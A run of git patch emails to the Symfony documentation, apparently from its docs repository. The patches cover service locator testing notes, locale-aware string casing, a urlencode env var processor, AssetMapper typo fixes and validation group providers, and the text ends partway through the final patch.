Date: Wed, 15 Nov 2023 16:58:44 +0100
Subject: [PATCH 4041/5766] [DI] Add note about testing service locators

---
 service_container/service_subscribers_locators.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 8b7eeb16f21..58c6650b730 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -926,6 +926,15 @@ To unit test a service subscriber, you can create a fake container::
     $serviceSubscriber = new MyService($container);
     // ...
 
+.. note::
+
+    When defining the service locator like this, beware that the
+    :method:`Symfony\\Contracts\\Service\\ServiceLocatorTrait::getProvidedServices`
+    of your container will use the return type of the closures as the values of the
+    returned array. If no return type is defined, the value will be ``?``. If you
+    want the values to reflect the classes of your services, the return type has
+    to be set on your closures.
+
 Another alternative is to mock it using ``PHPUnit``::
 
     use Psr\Container\ContainerInterface;

From 6682b7b0d21a4bf9c6c4e6311b5603fb6a21b8a5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 16 Nov 2023 10:30:26 +0100
Subject: [PATCH 4042/5766] Minor tweaks

---
 messenger.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 17bb50bc2ef..0bd5afa23ff 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2573,10 +2573,10 @@ of the process. For each, the event class is the event name:
 Message Serializer For Custom Data Formats
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-It is likely that you receive messages from other applications that are not
+If you receive messages from other applications, it's possible that they are not
 exactly in the format you need. Not all applications will return a JSON message
-with ``body`` and ``headers`` fields. In this case, you'll need to
-create a new message serializer. This can be done by implementing the
+with ``body`` and ``headers`` fields. In those cases, you'll need to create a
+new message serializer implementing the
 :class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\SerializerInterface`.
 Let's say you want to create a message decoder::
 
@@ -2613,7 +2613,8 @@ Let's say you want to create a message decoder::
         }
     }
 
-Now that this serializer is created, you can use it in your transport:
+The next step is to tell Symfony to use this serializer in one or more of your
+transports:
 
 .. configuration-block::
 

From 004d60ede9518055c51e086bbd0f108f1205dd70 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 16 Nov 2023 16:17:07 +0100
Subject: [PATCH 4043/5766] add-label-for-links-entityType

---
 reference/forms/types/entity.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 6cd13520c9c..4d8c7f2b5ee 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -174,7 +174,7 @@ instead of the ``default`` entity manager.
 **type**: ``Doctrine\ORM\QueryBuilder`` or a ``callable`` **default**: ``null``
 
 Allows you to create a custom query for your choices. See
-:ref:`ref-form-entity-query-builder` for an example.
+:ref:`how to use it <ref-form-entity-query-builder>` for an example.
 
 The value of this option can either be a ``QueryBuilder`` object, a callable or
 ``null`` (which will load all entities). When using a callable, you will be
@@ -211,7 +211,7 @@ submitted.
 
 Instead of allowing the `class`_ and `query_builder`_ options to fetch the
 entities to include for you, you can pass the ``choices`` option directly.
-See :ref:`reference-forms-entity-choices`.
+See :ref:`how to use choices <reference-forms-entity-choices>`.
 
 ``data_class``
 ~~~~~~~~~~~~~~

From 4a9b28f1ea710a2387e147bbf6b772a6c6e8c2f3 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 16 Nov 2023 16:10:39 +0100
Subject: [PATCH 4044/5766] [Reference] Form empty data option - Update
 repetitive text

---
 .../forms/types/options/empty_data_description.rst.inc | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/reference/forms/types/options/empty_data_description.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
index 90e111fb202..e654a7037df 100644
--- a/reference/forms/types/options/empty_data_description.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -15,14 +15,12 @@ This will still render an empty text box, but upon submission the ``John Doe``
 value will be set. Use the ``data`` or ``placeholder`` options to show this
 initial value in the rendered form.
 
-If a form is compound, you can set ``empty_data`` as an array, object or
-closure. See the :doc:`/form/use_empty_data` article for more details about
-these options.
-
 .. note::
 
-    If you want to set the ``empty_data`` option for your entire form class,
-    see the :doc:`/form/use_empty_data` article.
+    If a form is compound, you can set ``empty_data`` as an array, object or
+    closure. This option can be set for your entire form class, see the
+    :doc:`/form/use_empty_data` article for more details about these
+    options.
 
 .. caution::
 

From 7349989b9bb413653def0fda189e057845fdc081 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 19 Nov 2023 15:01:25 +0100
Subject: [PATCH 4045/5766] [String] New locale aware casing methods

---
 components/string.rst | 21 +++++++++++++++++----
 1 file changed, 17 insertions(+), 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index f743849fd19..ba73e7387b6 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -203,7 +203,10 @@ Methods to Change Case
 ::
 
     // changes all graphemes/code points to lower case
-    u('FOO Bar')->lower();  // 'foo bar'
+    u('FOO Bar Brİan')->lower();  // 'foo bar bri̇an'
+    // changes all graphemes/code points to lower case according to locale-specific case mappings
+    u('FOO Bar Brİan')->localeLower('en');  // 'foo bar bri̇an'
+    u('FOO Bar Brİan')->localeLower('lt');  // 'foo bar bri̇̇an'
 
     // when dealing with different languages, uppercase/lowercase is not enough
     // there are three cases (lower, upper, title), some characters have no case,
@@ -213,11 +216,17 @@ Methods to Change Case
     u('Die O\'Brian Straße')->folded(); // "die o'brian strasse"
 
     // changes all graphemes/code points to upper case
-    u('foo BAR')->upper(); // 'FOO BAR'
+    u('foo BAR bάz')->upper(); // 'FOO BAR BΆZ'
+    // changes all graphemes/code points to upper case according to locale-specific case mappings
+    u('foo BAR bάz')->localeUpper('en'); // 'FOO BAR BΆZ'
+    u('foo BAR bάz')->localeUpper('el'); // 'FOO BAR BAZ'
 
     // changes all graphemes/code points to "title case"
-    u('foo bar')->title();     // 'Foo bar'
-    u('foo bar')->title(true); // 'Foo Bar'
+    u('foo ijssel ')->title();     // 'Foo ijssel'
+    u('foo ijssel')->title(true); // 'Foo Ijssel'
+    // changes all graphemes/code points to "title case" according to locale-specific case mappings
+    u('foo ijssel')->localeTitle('en');     // 'Foo ijssel'
+    u('foo ijssel')->localeTitle('nl');     // 'Foo IJssel'
 
     // changes all graphemes/code points to camelCase
     u('Foo: Bar-baz.')->camel(); // 'fooBarBaz'
@@ -226,6 +235,10 @@ Methods to Change Case
     // other cases can be achieved by chaining methods. E.g. PascalCase:
     u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
 
+.. versionadded:: 7.1
+    The ``localeLower()``, ``localeUpper()`` and ``localeTitle()`` methods were
+    introduced in Symfony 7.1.
+
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 

From 7bc6963b52bb85fd17b1a6c0154eeaeb39f4d615 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 19 Nov 2023 18:26:40 +0100
Subject: [PATCH 4046/5766] [AssetMapper] Minor syntax fix

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 7c33cc6c816..1f10c8e3931 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1006,7 +1006,7 @@ you pass to ``importmap()``.
 
     If you look at the source of your page, by default, the ``<script type="module">``
     from ``importmap()`` will contain ``import 'app';`` - not something like
-    ``import ``/assets/app-4e986c1a2318dd050b1d47.js``. Both would work - but
+    ``import /assets/app-4e986c1a2318dd050b1d47.js``. Both would work - but
     because ``app`` appears in your ``importmap.php``, the browser will read ``app``
     from the ``importmap`` on the page and ultimately load ``/assets/app-4e986c1a2318dd050b1d47.js``
 

From 32807059cf0c0f42925eaf7af64320f7338d48e2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Nov 2023 09:12:08 +0100
Subject: [PATCH 4047/5766] [Form] Deprecate using `UrlType` without setting
 `default_protocol`

---
 reference/forms/types/url.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index 5f97fcb89a4..96984b23226 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -31,6 +31,11 @@ If a value is submitted that doesn't begin with some protocol (e.g. ``http://``,
 ``ftp://``, etc), this protocol will be prepended to the string when
 the data is submitted to the form.
 
+.. deprecated:: 7.1
+
+    Not setting the ``default_protocol`` option is deprecated since Symfony 7.1
+    and will default to ``null`` in Symfony 8.0.
+
 Overridden Options
 ------------------
 

From 64ad9e659ac34d56611f8aaa6ef161ebb8bf5fc0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Nov 2023 10:25:52 +0100
Subject: [PATCH 4048/5766] [DependencyInjection] Prepend extension config with
 ContainerConfigurator

---
 bundles/prepend_extension.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index bed3d06da43..4bd1c7c6a67 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -186,6 +186,34 @@ method::
 
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
+Alternatively, you can use the ``prepend`` parameter of the
+:method:`Symfony\\Component\\DependencyInjection\\Loader\\ContainerConfigurator::extension`
+method::
+
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class FooBundle extends AbstractBundle
+    {
+        public function prependExtension(ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
+        {
+            // ...
+
+            $containerConfigurator->extension('framework', [
+                'cache' => ['prefix_seed' => 'foo/bar'],
+            ], prepend: true);
+
+            // ...
+        }
+    }
+
+.. versionadded:: 7.1
+
+    The ``prepend`` parameter of the
+    :method:`Symfony\\Component\\DependencyInjection\\Loader\\ContainerConfigurator::extension`
+    method was added in Symfony 7.1.
+
 More than one Bundle using PrependExtensionInterface
 ----------------------------------------------------
 

From 0091e415339f4ffa6d3300cde661cd58f0a92e8d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Nov 2023 16:28:23 +0100
Subject: [PATCH 4049/5766] Clean deprecated directives

---
 components/http_foundation.rst | 5 -----
 components/var_exporter.rst    | 6 ------
 2 files changed, 11 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 47be5693bb0..52b999f0f2c 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -518,11 +518,6 @@ It is possible to define partitioned cookies, also known as `CHIPS`_, by using t
     // you can also set the partitioned argument to true when using the `create()` factory method
     $cookie = Cookie::create('name', 'value', partitioned: true);
 
-.. versionadded:: 6.4
-
-    The :method:`Symfony\\Component\\HttpFoundation\\Cookie::withPartitioned`
-    method was introduced in Symfony 6.4.
-
 Managing the HTTP Cache
 ~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 2b01b7a3f2a..634e4be78cb 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -224,12 +224,6 @@ initialized::
         }
     }
 
-.. deprecated:: 6.4
-
-    Using an array of closures for property-based initialization in the
-    ``createLazyGhost()`` method is deprecated since Symfony 6.4. Pass
-    a single closure that initializes the whole object instead.
-
 :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` also allows to
 convert non-lazy classes to lazy ones::
 

From 4eb2f258b6552f28e69691c34ab60978c82ab60c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 19 Nov 2023 15:40:05 +0100
Subject: [PATCH 4050/5766] [DependencyInjection] Add urlencode function to
 EnvVarProcessor

---
 configuration/env_var_processors.rst | 50 ++++++++++++++++++++++++++++
 doctrine.rst                         |  9 ++---
 2 files changed, 55 insertions(+), 4 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index eba9f4a482c..fc512c84e8e 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -812,6 +812,56 @@ Symfony provides the following env var processors:
             // config/services.php
             $container->setParameter('typed_env', '%env(defined:FOO)%');
 
+.. _urlencode_environment_variable_processor:
+
+``env(urlencode:FOO)``
+    Urlencode the content of ``FOO`` env var. This is especially useful when
+    ``FOO`` value is not compatible with DSN syntax.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            parameters:
+                env(DATABASE_URL): 'mysql://db_user:foo@b$r@127.0.0.1:3306/db_name'
+                encoded_database_url: '%env(urlencode:DATABASE_URL)%'
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(DATABASE_URL)">mysql://db_user:foo@b$r@127.0.0.1:3306/db_name</parameter>
+                    <parameter key="encoded_database_url">%env(urlencode:DATABASE_URL)%</parameter>
+                </parameters>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (ContainerBuilder $container): void {
+                $container->setParameter('env(DATABASE_URL)', 'mysql://db_user:foo@b$r@127.0.0.1:3306/db_name');
+                $container->setParameter('encoded_database_url', '%env(urlencode:DATABASE_URL)%');
+            };
+
+    .. versionadded:: 7.1
+
+        The ``env(urlencode:...)`` env var processor was introduced in Symfony 7.1.
+
 It is also possible to combine any number of processors:
 
 .. configuration-block::
diff --git a/doctrine.rst b/doctrine.rst
index f17307108c1..b024c4e7a4c 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -59,10 +59,11 @@ The database connection information is stored as an environment variable called
 
     If the username, password, host or database name contain any character considered
     special in a URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``, ``%``),
-    you must encode them. See `RFC 3986`_ for the full list of reserved characters or
-    use the :phpfunction:`urlencode` function to encode them. In this case you need to
-    remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml`` to avoid errors:
-    ``url: '%env(DATABASE_URL)%'``
+    you must encode them. See `RFC 3986`_ for the full list of reserved characters.
+    You can use the :phpfunction:`urlencode` function to encode them or
+    the :ref:`urlencode environment variable processor <urlencode_environment_variable_processor>`.
+    In this case you need to remove the ``resolve:`` prefix in ``config/packages/doctrine.yaml``
+    to avoid errors: ``url: '%env(DATABASE_URL)%'``
 
 Now that your connection parameters are setup, Doctrine can create the ``db_name``
 database for you:

From 6e8fd5f7e31e9c1186a1fa380bd9670e43638ec0 Mon Sep 17 00:00:00 2001
From: BooleanType <BooleanType1990@gmail.com>
Date: Mon, 20 Nov 2023 22:31:00 +0100
Subject: [PATCH 4051/5766] Update doctrine.rst

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 7a45f0037a1..d14a6fade6c 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -691,7 +691,7 @@ will automatically fetch them::
      * Fetch via primary key because {id} is in the route.
      */
     #[Route('/product/{id}')]
-    public function showByPk(Post $post): Response
+    public function showByPk(Product $product): Response
     {
     }
 
@@ -699,7 +699,7 @@ will automatically fetch them::
      * Perform a findOneBy() where the slug property matches {slug}.
      */
     #[Route('/product/{slug}')]
-    public function showBySlug(Post $post): Response
+    public function showBySlug(Product $product): Response
     {
     }
 

From 496efd8d78f33af1524205d58b4c20c94399ecfc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Nov 2023 09:11:46 +0100
Subject: [PATCH 4052/5766] Add note about indexing config classes

---
 configuration.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index e34e32aeb04..4430e44a70e 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1304,6 +1304,11 @@ namespace ``Symfony\Config``::
     Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are regular
     PHP objects which aren't autowired when using them as an argument type.
 
+.. note::
+
+    Be sure to not exclude the ``kernel.build_dir`` directory from your IDE
+    indexing, otherwise you won't get autocompletion for the ConfigBuilders.
+
 Keep Going!
 -----------
 

From 19dcac3f681eff9bdf1970cc4f228a2063b21814 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 20 Nov 2023 22:04:43 +0100
Subject: [PATCH 4053/5766] Improving list formating

---
 routing.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index b9e5492c612..b5d1e5cc95c 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2565,8 +2565,11 @@ It will help you understand and hopefully fixing unexpected behavior in your app
 Generating URLs
 ---------------
 
-Routing systems are bidirectional: 1) they associate URLs with controllers (as
-explained in the previous sections); 2) they generate URLs for a given route.
+Routing systems are bidirectional:
+
+1. they associate URLs with controllers (as explained in the previous sections);
+2. they generate URLs for a given route.
+
 Generating URLs from routes allows you to not write the ``<a href="...">``
 values manually in your HTML templates. Also, if the URL of some route changes,
 you only have to update the route configuration and all links will be updated.

From a3fe10800a2b92596c19f341d5cfa1bd4eba09ab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 13:41:35 +0100
Subject: [PATCH 4054/5766] Tweaks

---
 configuration.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 4430e44a70e..ba35e868df1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1306,8 +1306,9 @@ namespace ``Symfony\Config``::
 
 .. note::
 
-    Be sure to not exclude the ``kernel.build_dir`` directory from your IDE
-    indexing, otherwise you won't get autocompletion for the ConfigBuilders.
+    In order to get ConfigBuilders autocompletion in your IDE/editor, make sure
+    to not exclude the directory where these classes are generated (by default,
+    in ``var/cache/dev/Symfony/Config/``).
 
 Keep Going!
 -----------

From 296ee9de94f2652b2ffed15b459d5dc2f13438b5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 14:39:56 +0100
Subject: [PATCH 4055/5766] Tweaks

---
 components/string.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index ba73e7387b6..36df10f4597 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -222,11 +222,11 @@ Methods to Change Case
     u('foo BAR bάz')->localeUpper('el'); // 'FOO BAR BAZ'
 
     // changes all graphemes/code points to "title case"
-    u('foo ijssel ')->title();     // 'Foo ijssel'
+    u('foo ijssel')->title();     // 'Foo ijssel'
     u('foo ijssel')->title(true); // 'Foo Ijssel'
     // changes all graphemes/code points to "title case" according to locale-specific case mappings
-    u('foo ijssel')->localeTitle('en');     // 'Foo ijssel'
-    u('foo ijssel')->localeTitle('nl');     // 'Foo IJssel'
+    u('foo ijssel')->localeTitle('en'); // 'Foo ijssel'
+    u('foo ijssel')->localeTitle('nl'); // 'Foo IJssel'
 
     // changes all graphemes/code points to camelCase
     u('Foo: Bar-baz.')->camel(); // 'fooBarBaz'

From bd32bca3dd78231b066d59e6af4aeba0e910492e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 14:47:57 +0100
Subject: [PATCH 4056/5766] Mention the PHP urlencode() function

---
 configuration/env_var_processors.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index fc512c84e8e..6953781e187 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -815,8 +815,9 @@ Symfony provides the following env var processors:
 .. _urlencode_environment_variable_processor:
 
 ``env(urlencode:FOO)``
-    Urlencode the content of ``FOO`` env var. This is especially useful when
-    ``FOO`` value is not compatible with DSN syntax.
+    Encodes the content of the ``FOO`` env var using the :phpfunction:`urlencode`
+    PHP function. This is especially useful when ``FOO`` value is not compatible
+    with DSN syntax.
 
     .. configuration-block::
 

From cffa8fe9859ebb8a84e1f2fe0e8acfcbad7bc9fa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 15:08:50 +0100
Subject: [PATCH 4057/5766] Minor tweak

---
 mailer.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0f8d11c627b..ba55d4964de 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1599,8 +1599,10 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 
 .. tip::
 
-   If your controller returns a redirect response after sending the email, make sure to have your client *not* follow redirects.
-   The kernel is rebooted after following the redirection and the message lost from the mailer event handler.
+   If your controller returns a redirect response after sending the email, make
+   sure to have your client *not* follow redirects. The kernel is rebooted after
+   following the redirection and the message will be lost from the mailer event
+   handler.
 
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833

From 8e6033b3fa1acfa53a703a58649d03adecb960b5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Nov 2023 15:42:11 +0100
Subject: [PATCH 4058/5766] Renaming W3C to HTML5...

...since the links doesn't lead to W3C ;-)
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 1f10c8e3931..afeadbdad11 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -23,7 +23,7 @@ The AssetMapper component has two main features:
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
   without a build system. It's supported in all browsers (thanks to a shim)
-  and is a `W3C standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
+  and is part of the `HTML5 standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_.
 
 Installation
 ------------

From dc57a9f324ec68131adaddc25cd50f59d35b2f1b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Nov 2023 16:01:31 +0100
Subject: [PATCH 4059/5766] Reword

---
 console/coloring.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 083069fb69e..c54045250a8 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -1,8 +1,10 @@
 How to Color and Style the Console Output
 =========================================
 
-By using colors in the command output, you can distinguish different types of
-output (e.g. important messages, titles, comments, etc.).
+Symfony provides an optional :doc:`console style </console/style>` to render the
+input and output of commands in a consistent way. If you prefer to apply your
+own style, use the utilities explained in this article to show colors in the command
+output (e.g. to differentiate between important messages, titles, comments, etc.).
 
 .. note::
 
@@ -102,11 +104,6 @@ you can click on the *"Symfony Homepage"* text to open its URL in your default
 browser. Otherwise, you'll see *"Symfony Homepage"* as regular text and the URL
 will be lost.
 
-.. tip::
-
-    If you need a standard yet complete style, you can leverage the :doc:`default
-    Symfony Style </console/style>`.
-
 .. _Cmder: https://github.com/cmderdev/cmder
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases

From 74c1ea7d9ce7498220513b9198f954614f74978e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Nov 2023 16:01:57 +0100
Subject: [PATCH 4060/5766] Minor formating

Page: https://symfony.com/doc/current/frontend/asset_mapper.html#serving-assets-in-dev-vs-prod
---
 frontend/asset_mapper.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 1f10c8e3931..e9d67b76ea1 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -86,15 +86,16 @@ the file, the version part of the URL will change automatically!
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In the ``dev`` environment, the URL - ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
-is handled and returned by your Symfony app. For the ``prod`` environment, before
-deploy, you should run:
+In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
+is handled and returned by your Symfony app.
+
+For the ``prod`` environment, before deploy, you should run:
 
 .. code-block:: terminal
 
     $ php bin/console asset-map:compile
 
-This will physically copy all the files from your mapped directories into
+This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 

From c692372da95771ca88c3df4468c04370b8918b57 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Nov 2023 16:30:53 +0100
Subject: [PATCH 4061/5766] Typo

Page: https://symfony.com/doc/current/frontend/asset_mapper.html#config-importmap-polyfill
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index a3d32ea5114..671412ccb1c 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -969,7 +969,7 @@ pages. To add a CSS file to a specific page, create the file, then add a
     {% endblock %}
 
 For JavaScript, first create the new file (e.g. ``assets/checkout.js``). Then,
-add a ``script``` tag that imports it:
+add a ``script`` tag that imports it:
 
 .. code-block:: html+twig
 

From 848c6bb4f7147ca27bd8599da3351aaf379c9fe0 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Fri, 11 Aug 2023 19:20:58 -0400
Subject: [PATCH 4062/5766] [Validator] Advanced Validation Group Provider

---
 validation/sequence_provider.rst | 94 ++++++++++++++++++++++++++++++++
 1 file changed, 94 insertions(+)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 2a06e661034..734a5176c3f 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -344,6 +344,100 @@ provides a sequence of groups to be validated:
             }
         }
 
+Advanced Validation Group Provider
+----------------------------------
+
+In the previous section, you learned how to dynamically determine the
+sequence of groups to apply based on the state of your entity. This
+approach covers most common scenarios, but for more advanced needs, you
+may find it to be insufficient.
+
+For instance, suppose you need to provide the sequence of groups from an
+external configuration or service that can change its value dynamically.
+Managing the entity initialization and manually setting its dependencies can
+be cumbersome, and the implementation might not align with the entity
+responsibilities.
+
+To address this, you can now configure the implementation of the
+:class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+outside of the entity, and even register the group provider as a
+service if necessary.
+
+Here's how you can achieve this:
+
+ 1) **Define a Separate Group Provider Class:** You can create a class that
+    implements the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+    and handles the dynamic group sequence logic.
+ 2) **Configure the User with the Provider:** Use the ``provider`` option within the
+    :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
+    attribute to link the entity with the provider class.
+ 3) **Autowiring or Manual Tagging:** If autowiring is enabled, your custom provider
+    will be automatically linked. Otherwise, you can manually tag your service with
+    ``validator.group_provider``.
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        // ...
+        use App\Validator\UserGroupProvider;
+
+        #[Assert\GroupSequenceProvider(provider: UserGroupProvider::class)]
+        class User
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\User:
+            group_sequence_provider: App\Validator\UserGroupProvider
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
+                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\User">
+                <group-sequence-provider>
+                    <value>App\Validator\UserGroupProvider</value>
+                </group-sequence-provider>
+                <!-- ... -->
+            </class>
